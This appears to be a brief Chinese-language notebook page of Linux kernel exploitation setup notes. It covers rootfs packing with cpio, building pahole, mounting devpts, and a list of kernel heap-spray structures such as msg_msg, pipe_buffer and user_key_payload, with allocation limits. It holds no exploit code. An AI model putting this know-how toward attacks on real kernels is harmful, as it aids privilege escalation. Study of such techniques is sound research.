13
1
2
3
4
# 打包命令
find . | cpio -o --format=newc > ../../rootfs.img
# 解包命令
cpio -idmv < rootfs.img

查看最大文件打开数量

1
ulimit -n

pahole安装

1
2
3
4
5
6
7
8
9
sudo apt-get install libdw-dev
git clone https://github.com/jmesmon/pahole
cd pahole
mkdir build
cd build
cmake -D__LIB=lib ..
sudo make 
sudo make install
sudo cp ./pahole /usr/local/bin/pahole

报错

1
2
3
4
/home/ubuntu/pahole/dwarves_fprintf.c:77:3: error: ‘DW_TAG_mutable_type’ undeclared here (not in a function); did you mean ‘DW_TAG_immutable_type’?
  [DW_TAG_mutable_type]    = "mutable_type",
   ^~~~~~~~~~~~~~~~~~~
   DW_TAG_immutable_type

注释掉/home/ubuntu/pahole/dwarves_fprintf.c 报错的那一行

1
[DW_TAG_mutable_type]    = "mutable_type"

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230203170356109.png

使用

pahole ./file

挂载ptmx

1
2
mkdir -p /dev/pts 
mount -vt devpts -o gid=4,mode=620 none /dev/pts

各种结构体

user_key_payload

限制是只能分配最多200个最长20000字节

poll_list

msg_msg

pipe_buffer

sk_buffer

页表映射

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20231027174850490.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20231027173723014.png